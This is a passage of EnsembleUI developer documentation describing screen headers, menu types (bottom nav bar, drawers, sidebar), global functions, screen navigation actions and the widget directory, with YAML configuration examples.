`brown` `cyan` `indigo` `lime` `orange` | -| backgroundImage | [BackgroundImage](#backgroundimage) | Background image of the View. | -| useSafeArea | boolean | Applicable only when we don't have a header. If true, insert paddings around the body content to account for the devices' Safe Area (e.g. iPhone notch). Default is false. | -| scrollableView | boolean | Specify if the content of this screen is scrollable with a global scrollbar. Using this also allows you to customize the scrolling experience of the header. | -| showNavigationIcon | boolean | For a screen with header, the App will automatically show the Menu, Back, or Close icon (for the modal screen) before the title. On the modal screen without the header, the Close icon will be shown. Set this flag to false if you wish to hide the icons and handle the navigation yourself. | -| navigationIconPosition | string | On modal screen without a header, you can position the close button at the `start` or `end` of the screen. For left-to-right languages like English, start is on the left and end is on the right. This property has no effect on a screen with header. | - -## Header - -The header contains the Safe Area (e.g. iPhone notch) and by default has the background color of your theme's primaryColor. It includes: - -1. `navigation icon`. If a drawer menu is used the system will automatically show an icon to open/close the drawer, otherwise if this page can navigate back to the previous page, the back arrow will be shown. If neither condition is true, the icon will not be visible, in which case the title will stretch to fill the entire horizontal space. -2. `title`. Its simplest form is a string which is the title text. You may override it with a custom widget. -3. `flexible background`. Specifies a widget that will fill the entire header (including the notch). This is typically used as a background for the header. This widget will be laid out first, with the navigation icon and the title overlay on top. - -#### Properties - -| Property | Type | Description | -| :----------------- | :----------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| titleText | string | The title for the screen | -| titleWidget | [Widget](#widget-directory) | Render this widget as the screen title | -| styles | object | [see properties](#headerstyles) | -| flexibleBackground | [Widget](#widget-directory) | This widget (typically used as an background image) acts as the header's background, with the title bar and the bottom widget overlaid on top. On non-scrollable screen, its dimensions is dictated by the header's width and height. | - -#### Header.styles - -| Property | Type | Description | -| :---------------- | :---------------------------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| backgroundColor | [Color](#color) | By default the background color uses the theme's 'primary' color. You can override the header's background color here. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| color | [Color](#color) | By default the navigation icon, title, and action icons uses the theme's 'onPrimary' color. You can override their colors here. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevation | integer | Raise the header on its z-coordinates relative to the body. This effectively creates a drop shadow on the header's bottom edge. Minimum value: 0, Maximum value: 24 | -| shadowColor | [Color](#color) | If elevation is non-zero, this will override the drop shadow color of the header's bottom edge, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| centerTitle | boolean | Whether to align the title in the title bar's center horizontally (default: true) | -| titleBarHeight | integer | For consistency, the header's title bar has the default fixed height of 56 regardless of its content. You may adjust its height here. Minimum value is `0` | -| flexibleMinHeight | integer | Applicable only if scrollableView is enabled. This attribute effectively sets the header's min height on scrolling (header's height will varies between the flexibleMinHeight and flexibleMaxHeight). Note that this attribute will be ignored if smaller than the titleBarHeight | -| flexibleMaxHeight | integer | Applicable only if scrollableView is enabled. This attribute effectively sets the header's max height on scrolling (header's height will varies between the flexibleMinHeight and flexibleMaxHeight). This attribute will be ignored if smaller than the flexibleMinHeight | -| animation | object | [see properties](#headerstylesanimation) | -| scrollMode | enum | Specify if header stays `pinned` or goes up `floating`, when page is scrolled up. | -> Note: When the entire View is specified as scrollable, flexible background's height can vary in height (hence flexible) on scroll with a parallax effect. - -#### Header.styles.animation - -| Property | Type | Description | -| :---------------- | :---------------------------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| enabled | boolean | Animation behaviour `true` or `false`. | -| duration | integer | Specify time in `milliseconds` for which animation must play. | -| curve | string | Specify animation curve like `easeIn` `easeOut` or `linear`. | -| animationType | enum | Specify animation type that'll play when scrolled such as `fade` or `drop`. default value: `drop`. | -## Menu - -Ensemble provides support for five menu types that offer extensive customization options, including the ability to add custom items which are indeed `custom widgets`. These menu types allow users to meet their unique design needs or client requirements. Below, you will find detailed information about each menu type, including the supported properties, styles, and illustrative examples for better understanding. - -### BottomNavBar - -This is the navigation bar at the bottom of the screen, typical of most iOS and Android apps. Where each item has several properties as explained [below](#bottomnavbaritems). - -#### BottomNavBar.Properties - -| Property | Type | Description | -| :------- | :--------------- | :------------------------------------------------------------------- | -| items | array of objects | List of menu items (minimum 2). [see properties](#bottomnavbaritems) | -| styles | object | [see properties](#bottomnavbarstyles) | - -#### BottomNavBar.items - -| Property | Type | Description | -| :---------------------- | :---------------------------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| icon | string | Icon name from ` Material Icons``Font Awesome``Remix ` or `custom font icons`. | -| iconLibrary | string | Enables the usage of various icon libraries like `FontAwesome`, `Remix`, `Material Icons` or `custom icon` fonts within ensemble. | -| label | string | Defines the text displayed below the icon, providing a descriptive title or name for the menu item | -| page | string | The new page to navigate to on click | -| selected | boolean | Mark this item as selected. There should only be one selected item per page. | -| visible | boolean | Mark this item as visible. Default is `true` | -| floating | boolean | Mark this item as a floating icon | -| floatingMargin | integer or string | The margin around the floating. | -| floatingAlignment | string | How to align the floating in the BottomNavBar. The values are ` left``center``right ` and `none` | -| color | [Color](#color) | Unselected icon color, starting with '0xFF' for full opacity e.g 0xFFCCCCCC. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| selectedColor | [Color](#color) | Selected icon color, starting with '0xFF' for full opacity e.g 0xFFCCCCCC. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| backgroundColor | [Color](#color) | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| floatingBackgroundColor | [Color](#color) | Floating item background color, starting with '0xFF' for full opacity e.g 0xFFCCCCCC. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| floatingIconColor | [Color](#color) | Floating item icon color, starting with '0xFF' for full opacity e.g 0xFFCCCCCC. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| customItem | object | Allows user to use custom widgets for two states `selected` and `UnSelected`. | - -##### BottomNavBar.items.customItem - -| Property | Type | Description | -| :------------- | :----------------- | :----------------------------------------------------- | -| widget | [Widget](#widget-directory) | Custom bottom navigation item for the unselected state | -| selectedWidget | [Widget](#widget-directory) | Custom bottom navigation item for the selected state | - -#### BottomNavBar.styles - -| Property | Type | Description | -| :-------------- | :---------------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| backgroundColor | [Color](#color) | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | - -#### Example - -```yaml -BottomNavBar: - styles: - backgroundColor: white - color: grey - selectedColor: orange - floatingBackgroundColor: orange - floatingIconColor: white - items: - - label: Home - activeIcon: home - icon: home - page: Home - - - customItem: - widget: CustomNavBarItem - selectedWidget: ActiveCustomNavBarItem - page: Icon - - - icon: note_add - floating: true - floatingAlignment: center - floatingMargin: 5 - onTap: | - //@code - ensemble.navigateScreen('Lottie'); - - - icon: search - label: Search - page: Image - visible: true - - - customItem: - widget: CustomNavBarItemWithImage - selectedWidget: ActiveCustomNavBarItemWithImage - page: WeeklyScheduler -``` - -This sippet has example for how user can utilize - -1. Custom widgets as items for the menu -2. Floating icons - -> To get hands-on experience with BottomNavBar, check the live example on [Ensemble Studio](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/aa634599-cd5d-411c-a4b6-1163f3b5c558). - -### Drawer - -This menu type puts the menu behind a drawer icon on the header. The drawer icon will be positioned to the 'start' of the header (left for most languages, right for RTL languages). The drawer can be controlled programmatically using the `openDrawer` and `closeDrawer` actions. - -#### Drawer.Properties - -| Property | Type | Description | -| :------- | :--------------- | :-------------------------------------------------------- | -| header | widget | Custom widget to be displayed at the top of the drawer | -| footer | widget | Custom widget to be displayed at the bottom of the drawer | -| items | array of objects | List of menu items. [see properties](#draweritems) | -| styles | object | [see properties](#drawerstyles) | - -#### Drawer.items - -| Property | Type | Description | -| :----------- | :------ | :------------------------------------------------------------------------------------------------------ | -| icon | string | Icon name from `Material Icons`, `Font Awesome`, `Remix` or custom font icons | -| activeIcon | string | Icon to display when the item is selected. Falls back to `icon` if not specified | -| iconLibrary | string | Specify icon library: `FontAwesome`, `Remix`, `Material Icons` or custom icon fonts | -| label | string | Text displayed next to the icon | -| page | string | The page to navigate to when clicked | -| selected | boolean | Mark this item as selected. Only one item should be selected per page | -| visible | boolean | Whether the item should be shown. Default is `true` | -| isClickable | boolean | Whether the item can be interacted with. Useful for section headers. Default is `true` | -| switchScreen | boolean | Whether to navigate to the specified page when clicked. Default is `true` | -| onTap | action | Custom action to execute when item is tapped. Executes before page navigation if `switchScreen` is true | -| customItem | object | Allows using custom widgets for menu items. [see properties](#draweritemscustomitem) | - -#### Drawer.items.customItem - -| Property | Type | Description | -| :------------- | :----- | :---------------------------------------- | -| widget | widget | Custom drawer item for the normal state | -| selectedWidget | widget | Custom drawer item for the selected state | - -#### Drawer.styles - -| Property | Type | Description | -| :-------------- | :---------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | - -#### Example - -```yaml -View: - header: - title: Drawer Example - leadingWidget: - Icon: - name: menu - onTap: - openDrawer: - menu: - Drawer: - styles: - backgroundColor: white - header: - Column: - styles: - height: 200 - padding: 16 - backgroundColor: "#1a1f2b" - children: - - Text: - text: "User Name" - styles: - textStyle: - color: white - fontSize: 24 - footer: - Column: - styles: - padding: 16 - backgroundColor: "#1a1f2b" - children: - - Text: - text: "App Version 1.0.0" - styles: - textStyle: - color: grey - - items: - # Section header (non-clickable) - - label: "Main Menu" - isClickable: false - - # Regular menu item - - label: "Home" - icon: home - page: home - - # Custom menu item - - customItem: - widget: CustomDrawerItem - page: settings - - # Item with custom action - - label: "Share App" - icon: share - switchScreen: false - onTap: - closeDrawer: -``` - - -You can program either drawer using these actions: -- `openDrawer`: Opens the drawer programmatically -- `closeDrawer`: Closes the currently open drawer - -The drawer can be opened/closed from any widget's `onTap` or other action handlers: - -```yaml -Button: - label: Open Menu - onTap: - openDrawer: -``` - -> Note: Only one drawer (either Drawer or EndDrawer) can be open at a time. If both drawer types are configured, the app-level drawer takes precedence over screen-level drawers. - -##### Output - -

-Page Skeleton -Page Skeleton -

- -> To get hands-on experience with Drawer, check the live example on [Ensemble Studio](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/0073ebe9-6b0b-4ebf-9e8b-72a93a1275df#) - -### End Drawer - -Similar to Drawer but the drawer icon will be positioned to the 'end' of the header (right for most languages, left for RTL languages). You can check its properties [here](#drawerproperties). - -> To get hands-on experience with End Drawer, check the live example on [Ensemble Studio](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/YIcCi9aXiGJKftQRNi34#) - -### SideBar - -A fixed navigation menu to the 'start' of the screen (left for most languages, right for RTL languages). The menu may become a drawer menu on lower resolution or screen sizes. - -#### Sidebar.Properties - -| Property | Type | Description | -| :------- | :--------------- | :-------------------------------------------------------------- | -| header | widget | The header widget for the menu | -| footer | widget | The footer widget for the menu | -| items | array of objects | List of menu items (minimum 2). [see properties](#sidebaritems) | -| styles | object | [see properties](#sidebarstyles) | - -#### Sidebar.items - -| Property | Type | Description | -| :---------- | :------ | :-------------------------------------------------------------------------------------------------------------------------------- | -| icon | string | Icon name from ` Material Icons``Font Awesome``Remix ` or `custom font icons`. | -| iconLibrary | string | Enables the usage of various icon libraries like `FontAwesome`, `Remix`, `Material Icons` or `custom icon` fonts within ensemble. | -| label | string | Defines the text displayed below the icon, providing a descriptive title or name for the menu item | -| page | string | The new page to navigate to on click | -| selected | boolean | Mark this item as selected. There should only be one selected item per page. | -| visible | boolean | Mark this item as visible. Default is `true` | - -#### Sidebar.styles - -| Property | Type | Description | -| :-------------- | :---------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderWidth | integer | The thickness of the border | -| borderColor | integer or string | Color of the border, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| itemDisplay | string | How to render each navigation item. `stacked` `sideBySide` | -| itemPadding | integer or string | Padding for each navigation item with CSS-style value | -| minWidth | integer | The minimum width for the menu (default 200) | - -#### Example - -An example on how to use Sidebar menu. - -```yaml -View: - title: Sidebar menu - menu: - Sidebar: - items: - - label: Home - icon: home - page: Home - - label: Button - icon: input - page: Button - - Column: - styles: { gap: 16, padding: 24, scrollable: true } - children: - - Markdown: - text: | - This page includes menu displayed as Sidebar -``` - -##### Output - -

-Page Skeleton -

- -> To get hands-on experience with Sidebar, check the live example on [Ensemble Studio](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/QZyoRkHHrHEAkGJMwoNU#) - -## Body - -The View requires a single widget defined as its child. This will act as the body content, and can only be a Column, Row, Flex, or Stack widget. - -## API - -API provides a convenient way to interact with external services or data sources, allowing developers to make HTTP requests, access data, and integrate various functionalities into their applications. - -#### Properties - -| Property | Type | Description | -| :--------- | :----- | :------------------------------------------------------------------------------ | -| method | String | The HTTP method of the request, such as `GET`, `POST`, `DELETE`, `PUT`, `PATCH` | -| uri | String | The URI for the request | -| body | Object | The request body | -| headers | Object | The headers for the request | -| onResponse | Action | The action to handle the response | -| onError | Action | The action to handle errors | -| inputs | Array | The input values | - -> To learn about API's in detail, click [here](#invokeapi) - -## Global - -Global enables users to declare or define functions and variables which can be accessed globally inside the whole screen in every widget. In simple words its scope ig `global` just like a normal JavaScript `Global Execution Context` where users can access these functions anywhere in the screen. - -**Example** - -```yaml -View: - header: - title: "Code: Global functions" - styles: - scrollableView: true - Column: - styles: { gap: 16, padding: 24 } - children: - - TextInput: - id: secondsInput - label: Seconds - value: 28565 - - Button: - label: Convert to hours and minutes - onTap: - executeCode: - body: |- - //@code - results.text = convertSecondsToHours(secondsInput.value); - - - Text: - id: results - -Global: |- - - function convertSecondsToHours (s) { - - console.log(s); - } -``` - -**Output** - -The output can be checked in the logs for browser - -

-Page Skeleton -

- -## Putting it together - -This example illustrates almost all the widgets which are integral part of ensemble page structure. It also demonstrates a comprehensive usage of BottomNavBar, onLoad action, API calls and custom widgets. - -```yaml -View: - onLoad: - invokeAPI: - name: getUser - inputs: - id: 32GelurbLbd6umj3ULOkAXYSYyq2 - - # Set the view to be scrollable - styles: - scrollableView: true -menu: - BottomNavBar: - styles: - shadowColor: 0xFFFD451C - items: - - icon: home - label: Home - page: Home - selected: true - - label: Favorite - icon: favorite - page: Favorite - - label: Promos - icon: loyalty - page: Promos - - label: Account - icon: account_circle - page: Profile - - # This is the parent widget for all screen content - body: - Column: - styles: - backgroundGradient: - colors: [ 0xFFF4D66C, 0xFFFEFAF3, 0xFFFFFFFF ] - start: topLeft - end: bottomRight - - children: - - UserInfo - - SearchBar - - Categories - - NearbyFood -``` - -#### Output - -

-Page Skeleton -

- -> To get hands-on experience with a complete Application, check [Ensemble Studio](https://studio.ensembleui.com/app/iM58Wgr7bgzTxEi7rV40/screen/cYMnCfhOya8Vq1QG6aCC?propertyPanelEnabled=true&instantPreviewDisabled=false) - ---- - -# Layouts - -Ensemble layouts are themselves widgets that contain other widgets. Here is a comprehensive list of Layout widgets with their properties and usage examples in EnsembleUI. - -| Widget | Documentation | Kitchen sink example | -| ------------ | -------------- | ----------------------- | -| Column | [Link](#column-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/90a8e4df-5eab-4473-ba10-2ecffc9596b0) | -| FittedColumn | [Link](#fittedcolumn-deprecated) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/hRFxxoaBePQaLfmoBiIb) | -| Row | [Link](#row) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/4bd0d453-c243-429d-a562-93cbc9db38e3) | -| FittedRow | [Link](#fittedrow-deprecated) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/fvSONumk7npuTDmIWwis) | -| Flex | [Link](#flex) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/R3KgxV3UPWb4TjoiPI0U) | -| Flow | [Link](#flow) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/3e901fb8-a0e8-4f52-979b-7f5f2547e650) | -| ListView | [Link](#listview) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/w0Wmu9ZMP4csk7IELSx3) | -| GridView | [Link](#gridview) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/DX5j2WVQFabmxD9FCD5h) | -| StaggeredGrid | [Link](/pages/widgets/staggeredgrid.md) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/a9iIs4wvgqDOhU4rN6GR) | -| Stack | [Link](#stack) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/572ecf3b-b9f2-46f4-960f-ff438e5fa1dc) | -| DataGrid | [Link](#datagrid-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/c5940e18-f2c1-4318-8e68-a678a6ae7247) | -| TabBar | [Link](#tabbar) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/cebd491d-7d90-43f4-9f17-b8575de441ca) | -| Carousel | [Link](#carousel-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/2e1d88b1-f281-4c2c-9bb1-bd18016d2b8c) | -| Divider | [Link](#divider) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/4a893a2e-5bde-400c-b974-b25b497d31a5) | -| Spacer | [Link](#spacer) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/1d7e42a9-5bbc-4b4b-9a02-8c102234ee05) | - ---- - -# Screen Navigation - -Ensemble provides two primary mechanism for navigating between screens: - -1. App menu, i.e. the nav bar, as [described here](#menu) -2. Navigation actions, which we will cover here. - -## The navigation stack - -The navigation stack keeps track of the screens as they are pushed and popped off the stack. - -For example, your app could have a home screen, that navigates to listing screen. From the listing user can navigate to a detail screen. When you navigate to a new screen, that screen is pushed onto the top of the stack. - - -![navigation stack](public/images/navigation/nav-navigation-stack.jpg) - -When you navigate back, the topmost screen is popped off the stack, and the previous screen becomes visible Navigation stack follows the Last In, First Out (LIFO) principle, meaning the last screen that was navigated to is the first one to be navigated away from when the user presses the back button. - -![navigation stack](public/images/navigation/nav-navigation-stack-pop.jpg) - -## Navigate Screen action - -[navigateScreen reference](#navigatescreen) - -Use `navigateScreen` action when navigating to a screen. This action will push the target screen on top of the current screen. You can pass inputs to the target screen when performing this action: - -```yaml -- Button: - label: View details - onTap: - navigateScreen: - name: ProductDetails - inputs: - productId: ${product.id} -``` - -![navigation stack](public/images/navigation/nav-navigateScreen.jpg) - - -Optionally, you can set `onNavigateBack` property to perform an action when user goes back to previous screen. - -```yaml -- Button: - label: View details - onTap: - navigateScreen: - name: ProductDetails - inputs: - productId: ${product.id} - onNavigateBack: - showToast: - message: You just returned from product detail screen. -``` - -In use cases where you do not want to allow user to go back to the previous screen, use `clearAllScreens: true` option. This essentially clears the navigation stack. - -```yaml -- Button: - label: SIGN IN - onTap: - invoteAPI: - name: authenticateUser - onResponse: - navigateScreen: - name: Home - options: - clearAllScreens: true -``` - -![navigation stack](public/images/navigation/nav-navigateBack-clearAllScreens.jpg) - - -## Navigate back action - -[navigateBack reference](#action-navigateback) - -Use `navigateBack` to pop the current screen and go the previous screen in the stack. This is the same action that would be preformed when user taps the built-in back button. - -![navigation stack](public/images/navigation/nav-navigateBack.jpg) - ---- - -# Widgets Directory - -Ensemble widgets enable you to build both simple and complex applications. - -### Data display - -| Widget | Documentation | Kitchen sink example | -| ---------------- | ------------------------- | -------------------------------------------------------------------------------------------------------------------------- | -| Text | [Link](#text-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/c87f8b09-58e2-4c2f-99a1-cbbe9e25e9a5) | -| Image | [Link](#image-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/7c7a3ffe-68ef-4e99-b9d1-4b5cee166233) | -| Icon | [Link](#icon-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/e7c686f5-b8a2-4670-9e6e-8fdb0fea768e) | -| Avatar | [Link](#avatar-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/kJ9eqI5BPL30IwjnEDdJ) | -| Map | [Link](#map-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/36e52d1a-39c5-4a6b-b064-2be6cfe3cf7b) | -| QRCode | [Link](#qr-code-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/f4921ba2-9f3d-4c33-8848-4df29a5e7a4d) | -| Video | [Link](#video-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/fce92bbb-af8e-403d-bf2d-c10926cc89a0) | -| Lottie animation | [Link](#lottie-animation-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/576f3004-83e6-429d-b256-628d85e05f7f) | -| Markdown | [Link](#markdown-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/6b6d9c3d-359b-4768-99a5-3f087a64387c) | -| HTML | [Link](#html-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/ZhTBody9YozadVvTlhW0) | -| Webview | [Link](#webview-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/22c8d57d-a906-4d11-873d-161fd6c56c0a) | - -### Layout - -| Widget | Documentation | Kitchen sink example | -| ------------- | --------------------------------- | -------------------------------------------------------------------------------------------------------------------------- | -| Column | [Link](#column-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/90a8e4df-5eab-4473-ba10-2ecffc9596b0) | -| FittedColumn | [Link](#fittedcolumn-deprecated) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/hRFxxoaBePQaLfmoBiIb) | -| Row | [Link](#row) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/4bd0d453-c243-429d-a562-93cbc9db38e3) | -| FittedRow | [Link](#fittedrow-deprecated) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/fvSONumk7npuTDmIWwis) | -| Flex | [Link](#flex) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/R3KgxV3UPWb4TjoiPI0U) | -| Flow | [Link](#flow) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/3e901fb8-a0e8-4f52-979b-7f5f2547e650) | -| ListView | [Link](#listview) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/w0Wmu9ZMP4csk7IELSx3) | -| GridView | [Link](#gridview) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/DX5j2WVQFabmxD9FCD5h) | -| StaggeredGrid | [Link](/pages/widgets/staggeredgrid.md) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/a9iIs4wvgqDOhU4rN6GR) | -| Stack | [Link](#stack) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/572ecf3b-b9f2-46f4-960f-ff438e5fa1dc) | -| DataGrid | [Link](#datagrid-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/c5940e18-f2c1-4318-8e68-a678a6ae7247) | -| TabBar | [Link](#tabbar) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/cebd491d-7d90-43f4-9f17-b8575de441ca) | -| Carousel | [Link](#carousel-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/2e1d88b1-f281-4c2c-9bb1-bd18016d2b8c) | -| Collapsible | [Link](/pages/widgets/collapsible.md) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/yTFRepwpRQJbvRYaVpRi) | -| Divider | [Link](#divider) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/4a893a2e-5bde-400c-b974-b25b497d31a5) | -| Spacer | [Link](#spacer) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/1d7e42a9-5bbc-4b4b-9a02-8c102234ee05) | -| Shape | [Link](#shape-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/Lg2nljyD46n2hiAUlBMP) | -| Slidable | [Link](#slidable-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/hDUEQtsqHbuLoegWoyDR) | - -### Forms and inputs - -| Widget | Documentation | Kitchen sink example | -| --------------- | ------------------------------ | -------------------------------------------------------------------------------------------------------------------------- | -| Form | [Link](#form-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/3107baf6-dfc3-42cd-b617-61c37b31f31e) | -| TextInput | [Link](/pages/widgets/textinput.md) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/abc081b1-bcb4-4db6-ae55-7987cb6c418e) | -| Button | [Link](#button-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/09c1087b-f9ee-4a8c-9286-e0e881184c07) | -| Dropdown | [Link](#dropdown-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/fb8d28a2-834e-40a9-8419-155272fb0191) | -| AutoComplete | Coming soon | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/3tBTU9CUTu0IegpytNYa) | -| Checkbox | [Link](#checkbox-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/21f43d9b-db21-40fe-9c2f-806267e6c412) | -| Switch | [Link](#switch-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/3f4ba37a-0e6a-46a1-9b78-e4e04c84937d) | -| Date | [Link](#date-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/e7zOy8oX5dxQU7kD5IO4) | -| DateRange | Coming soon | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/b45c5576-ec22-4b04-832f-6dd7571dd20f) | -| Time | [Link](#time-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/yNHLPObY1wWgCpg0sgoW) | -| PasswordInput | [Link](#passwordinput-widget) | 